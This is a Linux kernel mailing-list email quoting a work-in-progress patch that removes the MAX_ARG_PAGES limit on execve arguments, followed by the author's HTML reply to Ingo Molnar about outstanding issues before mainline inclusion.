> @@ -297,157 +370,79 @@ int copy_strings_kernel(int argc,char **
>
> EXPORT_SYMBOL(copy_strings_kernel);
>
> -#ifdef CONFIG_MMU
> -/*
> - * This routine is used to map in a page into an address space: needed by
> - * execve() for the initial stack and environment pages.
> - *
> - * vma->vm_mm->mmap_sem is held for writing.
> - */
> -void install_arg_page(struct vm_area_struct *vma,
> -                       struct page *page, unsigned long address)
> -{
> -       struct mm_struct *mm = vma->vm_mm;
> -       pte_t * pte;
> -       spinlock_t *ptl;
> -
> -       if (unlikely(anon_vma_prepare(vma)))
> -               goto out;
> -
> -       flush_dcache_page(page);
> -       pte = get_locked_pte(mm, address, &ptl);
> -       if (!pte)
> -               goto out;
> -       if (!pte_none(*pte)) {
> -               pte_unmap_unlock(pte, ptl);
> -               goto out;
> -       }
> -       inc_mm_counter(mm, anon_rss);
> -       lru_cache_add_active(page);
> -       set_pte_at(mm, address, pte, pte_mkdirty(pte_mkwrite(mk_pte(
> -                                       page, vma->vm_page_prot))));
> -       page_add_new_anon_rmap(page, vma, address);
> -       pte_unmap_unlock(pte, ptl);
> -
> -       /* no need for flush_tlb */
> -       return;
> -out:
> -       __free_page(page);
> -       force_sig(SIGKILL, current);
> -}
> -
> #define EXTRA_STACK_VM_PAGES   20      /* random */
>
> +/* Finalizes the stack vm_area_struct.  The flags and permissions are
> updated,
> + * the stack is optionally relocated, and some extra space is added.
> + */
> int setup_arg_pages(struct linux_binprm *bprm,
>                     unsigned long stack_top,
>                     int executable_stack)
> {
> -       unsigned long stack_base;
> -       struct vm_area_struct *mpnt;
> +       unsigned long ret;
> +       unsigned long stack_base, stack_shift;
>         struct mm_struct *mm = current->mm;
> -       int i, ret;
> -       long arg_size;
>
> -#ifdef CONFIG_STACK_GROWSUP
> -       /* Move the argument and environment strings to the bottom of the
> -        * stack space.
> -        */
> -       int offset, j;
> -       char *to, *from;
> +       BUG_ON(stack_top > TASK_SIZE);
> +       BUG_ON(stack_top & ~PAGE_MASK);
>
> -       /* Start by shifting all the pages down */
> -       i = 0;
> -       for (j = 0; j < MAX_ARG_PAGES; j++) {
> -               struct page *page = bprm->page[j];
> -               if (!page)
> -                       continue;
> -               bprm->page[i++] = page;
> -       }
> -
> -       /* Now move them within their pages */
> -       offset = bprm->p % PAGE_SIZE;
> -       to = kmap(bprm->page[0]);
> -       for (j = 1; j < i; j++) {
> -               memmove(to, to + offset, PAGE_SIZE - offset);
> -               from = kmap(bprm->page[j]);
> -               memcpy(to + PAGE_SIZE - offset, from, offset);
> -               kunmap(bprm->page[j - 1]);
> -               to = from;
> -       }
> -       memmove(to, to + offset, PAGE_SIZE - offset);
> -       kunmap(bprm->page[j - 1]);
> -
> -       /* Limit stack size to 1GB */
> -       stack_base = current->signal->rlim[RLIMIT_STACK].rlim_max;
> -       if (stack_base > (1 << 30))
> -               stack_base = 1 << 30;
> -       stack_base = PAGE_ALIGN(stack_top - stack_base);
> -
> -       /* Adjust bprm->p to point to the end of the strings. */
> -       bprm->p = stack_base + PAGE_SIZE * i - offset;
> -
> -       mm->arg_start = stack_base;
> -       arg_size = i << PAGE_SHIFT;
> -
> -       /* zero pages that were copied above */
> -       while (i < MAX_ARG_PAGES)
> -               bprm->page[i++] = NULL;
> -#else
> -       stack_base = arch_align_stack(stack_top -
> MAX_ARG_PAGES*PAGE_SIZE);
> +       stack_base = arch_align_stack(stack_top - mm->stack_vm*PAGE_SIZE);
>         stack_base = PAGE_ALIGN(stack_base);
> -       bprm->p += stack_base;
> -       mm->arg_start = bprm->p;
> -       arg_size = stack_top - (PAGE_MASK & (unsigned long)
> mm->arg_start);
> -#endif
>
> -       arg_size += EXTRA_STACK_VM_PAGES * PAGE_SIZE;
> +       stack_shift = (bprm->p & PAGE_MASK) - stack_base;
> +       BUG_ON(stack_shift < 0);
> +       bprm->p -= stack_shift;
> +       mm->arg_start = bprm->p;
>
>         if (bprm->loader)
> -               bprm->loader += stack_base;
> -       bprm->exec += stack_base;
> -
> -       mpnt = kmem_cache_alloc(vm_area_cachep, GFP_KERNEL);
> -       if (!mpnt)
> -               return -ENOMEM;
> -
> -       memset(mpnt, 0, sizeof(*mpnt));
> +               bprm->loader -= stack_shift;
> +       bprm->exec -= stack_shift;
>
>         down_write(&mm->mmap_sem);
>         {
> -               mpnt->vm_mm = mm;
> -#ifdef CONFIG_STACK_GROWSUP
> -               mpnt->vm_start = stack_base;
> -               mpnt->vm_end = stack_base + arg_size;
> -#else
> -               mpnt->vm_end = stack_top;
> -               mpnt->vm_start = mpnt->vm_end - arg_size;
> -#endif
> +               struct vm_area_struct *vma = bprm->vma;
> +               struct vm_area_struct *prev = NULL;
> +               unsigned long vm_flags = vma->vm_flags;
> +
>                 /* Adjust stack execute permissions; explicitly enable
>                  * for EXSTACK_ENABLE_X, disable for EXSTACK_DISABLE_X
>                  * and leave alone (arch default) otherwise. */
>                 if (unlikely(executable_stack == EXSTACK_ENABLE_X))
> -                       mpnt->vm_flags = VM_STACK_FLAGS |  VM_EXEC;
> +                       vm_flags |= VM_EXEC;
>                 else if (executable_stack == EXSTACK_DISABLE_X)
> -                       mpnt->vm_flags = VM_STACK_FLAGS & ~VM_EXEC;
> -               else
> -                       mpnt->vm_flags = VM_STACK_FLAGS;
> -               mpnt->vm_flags |= mm->def_flags;
> -               mpnt->vm_page_prot = protection_map[mpnt->vm_flags & 0x7];
> -               if ((ret = insert_vm_struct(mm, mpnt))) {
> +                       vm_flags &= ~VM_EXEC;
> +               vm_flags |= mm->def_flags;
> +
> +               ret = mprotect_fixup(vma, &prev, vma->vm_start,
> vma->vm_end,
> +                               vm_flags);
> +               if (ret) {
>                         up_write(&mm->mmap_sem);
> -                       kmem_cache_free(vm_area_cachep, mpnt);
>                         return ret;
>                 }
> -               mm->stack_vm = mm->total_vm = vma_pages(mpnt);
> -       }
> +               BUG_ON(prev != vma);
> +
> +               /* Move stack pages down in memory. */
> +               if (stack_shift) {
> +                       /* This should be safe even with overlap because
> we
> +                        * are shifting down. */
> +                       ret = move_vma(vma, vma->vm_start,
> +                                       vma->vm_end - vma->vm_start,
> +                                       vma->vm_end - vma->vm_start,
> +                                       vma->vm_start - stack_shift);
> +                       if (ret & ~PAGE_MASK) {
> +                               up_write(&mm->mmap_sem);
> +                               return ret;
> +                       }
> +               }
>
> -       for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
> -               struct page *page = bprm->page[i];
> -               if (page) {
> -                       bprm->page[i] = NULL;
> -                       install_arg_page(mpnt, page, stack_base);
> +               // Expand the stack.
> +               vma = find_vma(mm, bprm->p);
> +               BUG_ON(!vma || bprm->p < vma->vm_start);
> +               if (expand_stack(vma, stack_base -
> +                                       EXTRA_STACK_VM_PAGES * PAGE_SIZE))
> {
> +                       up_write(&mm->mmap_sem);
> +                       return -EFAULT;
>                 }
> -               stack_base += PAGE_SIZE;
>         }
>         up_write(&mm->mmap_sem);
>
> @@ -456,23 +451,6 @@ int setup_arg_pages(struct linux_binprm
>
> EXPORT_SYMBOL(setup_arg_pages);
>
> -#define free_arg_pages(bprm) do { } while (0)
> -
> -#else
> -
> -static inline void free_arg_pages(struct linux_binprm *bprm)
> -{
> -       int i;
> -
> -       for (i = 0; i < MAX_ARG_PAGES; i++) {
> -               if (bprm->page[i])
> -                       __free_page(bprm->page[i]);
> -               bprm->page[i] = NULL;
> -       }
> -}
> -
> -#endif /* CONFIG_MMU */
> -
> struct file *open_exec(const char *name)
> {
>         struct nameidata nd;
> @@ -993,8 +971,10 @@ void compute_creds(struct linux_binprm *
>
> EXPORT_SYMBOL(compute_creds);
>
> -void remove_arg_zero(struct linux_binprm *bprm)
> +int remove_arg_zero(struct linux_binprm *bprm)
> {
> +       int ret = 0;
> +
>         if (bprm->argc) {
>                 unsigned long offset;
>                 char * kaddr;
> @@ -1008,13 +988,23 @@ void remove_arg_zero(struct linux_binprm
>                                 continue;
>                         offset = 0;
>                         kunmap_atomic(kaddr, KM_USER0);
> +                       put_page(page);
> inside:
> -                       page = bprm->page[bprm->p/PAGE_SIZE];
> +                       ret = get_user_pages(current, bprm->mm, bprm->p,
> +                                            1, 0, 1, &page, NULL);
> +                       if (ret <= 0) {
> +                               ret = -EFAULT;
> +                               goto out;
> +                       }
>                         kaddr = kmap_atomic(page, KM_USER0);
>                 }
>                 kunmap_atomic(kaddr, KM_USER0);
>                 bprm->argc--;
> +               ret = 0;
>         }
> +
> +out:
> +       return ret;
> }
>
> EXPORT_SYMBOL(remove_arg_zero);
> @@ -1041,7 +1031,7 @@ int search_binary_handler(struct linux_b
>                 fput(bprm->file);
>                 bprm->file = NULL;
>
> -               loader = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);
> +               loader = bprm->vma->vm_end - sizeof(void *);
>
>                 file = open_exec("/sbin/loader");
>                 retval = PTR_ERR(file);
> @@ -1134,7 +1124,6 @@ int do_execve(char * filename,
>         struct linux_binprm *bprm;
>         struct file *file;
>         int retval;
> -       int i;
>
>         retval = -ENOMEM;
>         bprm = kzalloc(sizeof(*bprm), GFP_KERNEL);
> @@ -1148,25 +1137,19 @@ int do_execve(char * filename,
>
>         sched_exec();
>
> -       bprm->p = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);
> -
>         bprm->file = file;
>         bprm->filename = filename;
>         bprm->interp = filename;
> -       bprm->mm = mm_alloc();
> -       retval = -ENOMEM;
> -       if (!bprm->mm)
> -               goto out_file;
>
> -       retval = init_new_context(current, bprm->mm);
> -       if (retval < 0)
> -               goto out_mm;
> +       retval = bprm_mm_init(bprm);
> +       if (retval)
> +               goto out_file;
>
> -       bprm->argc = count(argv, bprm->p / sizeof(void *));
> +       bprm->argc = count(argv, MAX_ARG_STRINGS);
>         if ((retval = bprm->argc) < 0)
>                 goto out_mm;
>
> -       bprm->envc = count(envp, bprm->p / sizeof(void *));
> +       bprm->envc = count(envp, MAX_ARG_STRINGS);
>         if ((retval = bprm->envc) < 0)
>                 goto out_mm;
>
> @@ -1193,8 +1176,6 @@ int do_execve(char * filename,
>
>         retval = search_binary_handler(bprm,regs);
>         if (retval >= 0) {
> -               free_arg_pages(bprm);
> -
>                 /* execve success */
>                 security_bprm_free(bprm);
>                 acct_update_integrals(current);
> @@ -1203,19 +1184,12 @@ int do_execve(char * filename,
>         }
>
> out:
> -       /* Something went wrong, return the inode and free the argument
> pages*/
> -       for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
> -               struct page * page = bprm->page[i];
> -               if (page)
> -                       __free_page(page);
> -       }
> -
>         if (bprm->security)
>                 security_bprm_free(bprm);
>
> out_mm:
>         if (bprm->mm)
> -               mmdrop(bprm->mm);
> +               mmput (bprm->mm);
>
> out_file:
>         if (bprm->file) {
> Index: linux/include/linux/binfmts.h
> ===================================================================
> --- linux.orig/include/linux/binfmts.h
> +++ linux/include/linux/binfmts.h
> @@ -5,12 +5,9 @@
>
> struct pt_regs;
>
> -/*
> - * MAX_ARG_PAGES defines the number of pages allocated for arguments
> - * and envelope for the new program. 32 should suffice, this gives
> - * a maximum env+arg of 128kB w/4KB pages!
> - */
> -#define MAX_ARG_PAGES 32
> +/* FIXME: Find real limits, or none. */
> +#define MAX_ARG_STRLEN (PAGE_SIZE * 32)
> +#define MAX_ARG_STRINGS 0x7FFFFFFF
>
> /* sizeof(linux_binprm->buf) */
> #define BINPRM_BUF_SIZE 128
> @@ -22,7 +19,7 @@ struct pt_regs;
>   */
> struct linux_binprm{
>         char buf[BINPRM_BUF_SIZE];
> -       struct page *page[MAX_ARG_PAGES];
> +       struct vm_area_struct *vma;
>         struct mm_struct *mm;
>         unsigned long p; /* current top of mem */
>         int sh_bang;
> @@ -65,7 +62,7 @@ extern int register_binfmt(struct linux_
> extern int unregister_binfmt(struct linux_binfmt *);
>
> extern int prepare_binprm(struct linux_binprm *);
> -extern void remove_arg_zero(struct linux_binprm *);
> +extern int __must_check remove_arg_zero(struct linux_binprm *);
> extern int search_binary_handler(struct linux_binprm *,struct pt_regs *);
> extern int flush_old_exec(struct linux_binprm * bprm);
>
> @@ -82,6 +79,7 @@ extern int suid_dumpable;
> extern int setup_arg_pages(struct linux_binprm * bprm,
>                            unsigned long stack_top,
>                            int executable_stack);
> +extern int bprm_mm_init(struct linux_binprm *bprm);
> extern int copy_strings_kernel(int argc,char ** argv,struct linux_binprm
> *bprm);
> extern void compute_creds(struct linux_binprm *binprm);
> extern int do_coredump(long signr, int exit_code, struct pt_regs * regs);
> Index: linux/include/linux/mm.h
> ===================================================================
> --- linux.orig/include/linux/mm.h
> +++ linux/include/linux/mm.h
> @@ -775,7 +775,6 @@ static inline int handle_mm_fault(struct
>
> extern int make_pages_present(unsigned long addr, unsigned long end);
> extern int access_process_vm(struct task_struct *tsk, unsigned long addr,
> void *buf, int len, int write);
> -void install_arg_page(struct vm_area_struct *, struct page *, unsigned
> long);
>
> int get_user_pages(struct task_struct *tsk, struct mm_struct *mm, unsigned
> long start,
>                 int len, int write, int force, struct page **pages, struct
> vm_area_struct **vmas);
> @@ -791,9 +790,15 @@ int FASTCALL(set_page_dirty(struct page
> int set_page_dirty_lock(struct page *page);
> int clear_page_dirty_for_io(struct page *page);
>
> +extern unsigned long move_vma(struct vm_area_struct *vma,
> +               unsigned long old_addr, unsigned long old_len,
> +               unsigned long new_len, unsigned long new_addr);
> extern unsigned long do_mremap(unsigned long addr,
>                                unsigned long old_len, unsigned long
> new_len,
>                                unsigned long flags, unsigned long
> new_addr);
> +extern int mprotect_fixup(struct vm_area_struct *vma,
> +                         struct vm_area_struct **pprev, unsigned long
> start,
> +                         unsigned long end, unsigned long newflags);
>
> /*
>   * Prototype to add a shrinker callback for ageable caches.
> Index: linux/kernel/auditsc.c
> ===================================================================
> --- linux.orig/kernel/auditsc.c
> +++ linux/kernel/auditsc.c
> @@ -1755,6 +1755,10 @@ int __audit_ipc_set_perm(unsigned long q
>
> int audit_bprm(struct linux_binprm *bprm)
> {
> +       /* FIXME: Don't do anything for now until I figure out how to
> handle
> +        * this.  With the latest changes, kmalloc could well fail under
> good
> +        * scenarios. */
> +#if 0
>         struct audit_aux_data_execve *ax;
>         struct audit_context *context = current->audit_context;
>         unsigned long p, next;
> @@ -1782,6 +1786,7 @@ int audit_bprm(struct linux_binprm *bprm
>         ax->d.type = AUDIT_EXECVE;
>         ax->d.next = context->aux;
>         context->aux = (void *)ax;
> +#endif
>         return 0;
> }
>
> Index: linux/mm/mprotect.c
> ===================================================================
> --- linux.orig/mm/mprotect.c
> +++ linux/mm/mprotect.c
> @@ -128,7 +128,7 @@ static void change_protection(struct vm_
>         flush_tlb_range(vma, start, end);
> }
>
> -static int
> +int
> mprotect_fixup(struct vm_area_struct *vma, struct vm_area_struct **pprev,
>         unsigned long start, unsigned long end, unsigned long newflags)
> {
> Index: linux/mm/mremap.c
> ===================================================================
> --- linux.orig/mm/mremap.c
> +++ linux/mm/mremap.c
> @@ -155,7 +155,7 @@ static unsigned long move_page_tables(st
>         return len + old_addr - old_end;        /* how much done */
> }
>
> -static unsigned long move_vma(struct vm_area_struct *vma,
> +unsigned long move_vma(struct vm_area_struct *vma,
>                 unsigned long old_addr, unsigned long old_len,
>                 unsigned long new_len, unsigned long new_addr)
> {
>

------=_Part_147502_21702467.1167634300468
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

There are still a couple outstanding issues which need to be resolved befor=
e this is ready for inclusion in the mainline kernel.<br><br>The main one i=
s support for CONFIG_STACK_GROWSUP, which I think is just parisc.&nbsp; I&#=
39;ve been meaning to look into this for a while, but I was out of commisio=
n for most of November so it got punted to the back burner.&nbsp; I&#39;ll =
try to revisit it soonish.&nbsp; If someone from the parisc-linux list want=
s to take a look, though, that&#39;s fine by me.
<br><br>The other is support for the various executable formats.&nbsp; I&#3=
9;ve tested elf and script pretty thoroughly, but I&#39;m not sure how to g=
o about testing most of the others -- does anyone use aout anymore?&nbsp; M=
aybe the solution is just to check it in and wait to see if someone complai=
ns.
<br><br>Ollie<br><br><div><span class=3D"gmail_quote">On 12/29/06, <b class=
=3D"gmail_sendername">Ingo Molnar</b> &lt;<a href=3D"mailto:mingo@elte.hu">=
mingo@elte.hu</a>&gt; wrote:</span><blockquote class=3D"gmail_quote" style=
=3D"border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; p=
adding-left: 1ex;">
<br>FYI, i have forward ported your MAX_ARG_PAGES limit removal patch to<br=
>2.6.20-rc2 and have included it in the -rt kernel. It&#39;s working great =
-<br>i can now finally do a &quot;ls -t patches/*.patch&quot; in my patch r=
epository -
<br>something i havent been able to do for years ;-)<br><br>what is keeping=
 this fix from going upstream?<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;Ingo<br><br>--------------&gt;<br>Subject: [patch] remove MAX_AR=
G_PAGES<br>From: Ollie Wild &lt;<a href=3D"mailto:aaw@google.com">
aaw@google.com</a>&gt;<br><br>this patch removes the MAX_ARG_PAGES limit by=
 copying between VMs. This<br>makes process argv/env limited by the stack l=
imit (and it&#39;s thus<br>arbitrarily sizable). No more:<br><br>&nbsp;&nbs=
p;-bash: /bin/ls: Argument list too long
<br><br>Signed-off-by: Ingo Molnar &lt;<a href=3D"mailto:mingo@elte.hu">min=
go@elte.hu</a>&gt;<br>---<br> arch/x86_64/ia32/ia32_binfmt.c |&nbsp;&nbsp; =
55 -----<br> fs/binfmt_elf.c&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp; 12 -<br> fs/=
binfmt_misc.c&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;4
<br> fs/binfmt_script.c&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;4<br> fs/compat.c&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;118 ++++--------<br> fs/exec.=
c&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;382 =
+++++++++++++++++++----------------------<br> include/linux/binfmts.h&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp; 14 -
<br> include/linux/mm.h&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;7<br> kernel/auditsc.c&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p; |&nbsp;&nbsp;&nbsp;&nbsp;5<br> mm/mprotect.c&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;2<br> mm/mremap.c&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;2<br> 11 files changed, 250 inser=
tions(+), 355 deletions(-)
<br><br>Index: linux/arch/x86_64/ia32/ia32_binfmt.c<br>=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<br>--- linux.orig/arch/x86_64/ia32/ia32_b=
infmt.c<br>+++ linux/arch/x86_64/ia32/ia32_binfmt.c<br>@@ -279,9 +279,6 @@ =
do {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\
<br> #define load_elf_binary load_elf32_binary<br><br> #define ELF_PLAT_INI=
T(r, load_addr)&nbsp;&nbsp;&nbsp;&nbsp;elf32_init(r)<br>-#define setup_arg_=
pages(bprm, stack_top, exec_stack) \<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p; ia32_setup_arg_pages(bprm, stack_top, exec_stack)
<br>-int ia32_setup_arg_pages(struct linux_binprm *bprm, unsigned long stac=
k_top, int executable_stack);<br><br> #undef start_thread<br> #define start=
_thread(regs,new_rip,new_rsp) do { \<br>@@ -336,57 +333,7 @@ static void el=
f32_init(struct pt_regs *r
<br> int ia32_setup_arg_pages(struct linux_binprm *bprm, unsigned long stac=
k_top,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp; int executable_stack)<br> {<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; u=
nsigned long stack_base;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct vm=
_area_struct *mpnt;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct mm_stru=
ct *mm =3D current-&gt;mm;
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i, ret;<br>-<br>-&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp; stack_base =3D stack_top - MAX_ARG_PAGES * PAGE_SI=
ZE;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mm-&gt;arg_start =3D bprm-&gt;=
p + stack_base;<br>-<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;p +=
=3D stack_base;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (bprm-&gt;loade=
r)<br>
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp; bprm-&gt;loader +=3D stack_base;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp; bprm-&gt;exec +=3D stack_base;<br>-<br>-&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp; mpnt =3D kmem_cache_alloc(vm_area_cachep, GFP_KERNEL);<br>-&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!mpnt)<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -ENOMEM;<b=
r>-<br>
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(mpnt, 0, sizeof(*mpnt));<br>-<=
br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; down_write(&amp;mm-&gt;mmap_sem);<=
br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mpnt-&gt;vm_mm =3D=
 mm;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp; mpnt-&gt;vm_start =3D PAGE_MASK &amp; (unsigned long) bp=
rm-&gt;p;
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; mpnt-&gt;vm_end =3D stack_top;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (executable_=
stack =3D=3D EXSTACK_ENABLE_X)<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp; mpnt-&gt;vm_flags =3D VM_STACK_FLAGS |&nbsp;&nbsp;VM_EXEC=
;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp; else if (executable_stack =3D=3D EXSTACK_DISABLE_X)
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mpnt-&gt;vm_=
flags =3D VM_STACK_FLAGS &amp; ~VM_EXEC;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br>-&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mpnt-&gt;vm_flags =3D VM_STA=
CK_FLAGS;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp; mpnt-&gt;vm_page_prot =3D (mpnt-&gt;vm_flags &amp; =
VM_EXEC) ?
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PAGE_COPY_EX=
EC : PAGE_COPY;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ((ret =3D insert_vm_struct(mm, mpnt))) {<b=
r>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; up_write(&amp;=
mm-&gt;mmap_sem);<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp; kmem_cache_free(vm_area_cachep, mpnt);
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ret;<=
br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; }<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mm-&gt;stack_vm =3D mm-&gt;total_vm =3D vma_p=
ages(mpnt);<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>-<br>-&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp; for (i =3D 0 ; i &lt; MAX_ARG_PAGES ; i++) {<br>-=
